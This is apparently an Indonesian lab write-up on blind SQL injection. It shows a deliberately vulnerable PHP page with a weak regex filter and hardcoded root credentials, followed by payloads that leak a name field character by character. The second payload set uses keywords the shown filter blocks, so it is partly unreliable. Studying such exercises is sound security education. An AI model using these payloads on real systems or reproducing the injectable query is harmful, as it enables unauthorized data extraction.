Masalah

Situs ini memiliki 2 input, prefix dan password yang digunakan untuk mengubah nilai field pass pada database.

<html>
   <body>
   <h1>Update My Password and Leak My Name</h1>
   <form action = "<?php $_PHP_SELF ?>" method = "POST">
      Prefix: <input type = "text" name = "prefix" /> <br/>
      Password: <input type = "text" name = "pass" /> <input type = "submit" />
   </form>
   </body>
</html>

<?php

function waf($id){
    // if(preg_match('/\s/', $id)) 
    //     exit('attack'); // no whitespaces
    // if(preg_match('/[\'"]/', $id)) 
    //     exit('attack no quotes');
    if(preg_match('/[\/\\\\]/', $id)) 
        exit('attack no slashes');
    // if(preg_match('/(and|or|null|not)/i', $id)) 
    //     exit('attack'); // no sqli boolean keywords
    if(preg_match('/(union|select|from|where)/i', $id)) 
        exit('attack'); // no sqli select keywords
    if(preg_match('/(group|order|having|limit)/i', $id)) 
        exit('attack'); //  no sqli select keywords
    if(preg_match('/(into|file|case)/i', $id)) 
        exit('attack'); // no sqli operators
    // if(preg_match('/(--|#|\/\*)/', $id)) 
    //     exit('attack no sqli comments');
    if(preg_match('/(=|&|\|)/', $id)) 
        exit('attack'); // no boolean operators
}

$mysqli = new mysqli("localhost", "root", "tawheed", "exercise_session");

if ($mysqli->connect_errno)
{
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}

if($_POST["pass"] || $_POST["prefix"])
{


    $pass = $_POST["pass"];
    $prefix = $_POST["prefix"];
    waf($pass);
    $q = sprintf("UPDATE tbl_mhs SET pass='%d%s' WHERE nim='12960001'", $prefix, $pass);

    if ( !$mysqli->query($q) ) {
        echo 'Status: 0' . "<br/>";
        echo "<br/>"."Error code ({$mysqli->errno}): {$mysqli->error}" . "<br/>";
    } else {
        echo 'Status: 1' . "<br/>";
    }

    if ($result = $mysqli->query("select * from tbl_mhs where nim='1296001'"))
    {
        if ($result->num_rows > 0) {
            // output data of each row
            while($row = $result->fetch_assoc()) {
                echo "Points: " . $row["pass"]. "<br>";
            }

        } else {
            echo "0 results";
        }

        $result->close();
    }
}
// https://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/
?>

Penyelesaian

Sayangnya, situs ini masih lemah terhadap side channel dan SQL Injection. Dengan menggunakan payload ini, informasi rahasia pada field nm_mhs bisa diungkap. Misal, salah satu isi field nm_mhs adalah Acih maka dengan mengenumerasi index dan bruteforce karakter yang ada sampai nilai points berubah menjadi 1 maka satu per satu karakter bisa diungkap.

Target
nm_mhs -> Acih
Status: 1
Points: 1

prefix = 1 Password = ' and mid(nm_mhs,'1',1) like 'A'#
prefix = 1 Password = ' and mid(nm_mhs,'2',1) like 'c'#
prefix = 1 Password = ' and mid(nm_mhs,'3',1) like 'i'#
prefix = 1 Password = ' and mid(nm_mhs,'4',1) like 'h'#

Sedangkan ada alternatif payload lain dengan menggunakan query substr dan perbandingan karakter sebelumnya dengan karakter yang diinginkan, misal @ > A.

Target
nm_mhs -> Acih
Status: 1
Points: 1

prefix = 1 Password = ' and if(substr((select substr(nm_mhs from 1)),1,1)>'@',1,0) #
prefix = 1 Password = ' and if(substr((select substr(nm_mhs from 1)),2,1)>'b',1,0) #
prefix = 1 Password = ' and if(substr((select substr(nm_mhs from 1)),3,1)>'h',1,0) #
prefix = 1 Password = ' and if(substr((select substr(nm_mhs from 1)),4,1)>'g',1,0) #

Referensi

results matching ""

    No results matching ""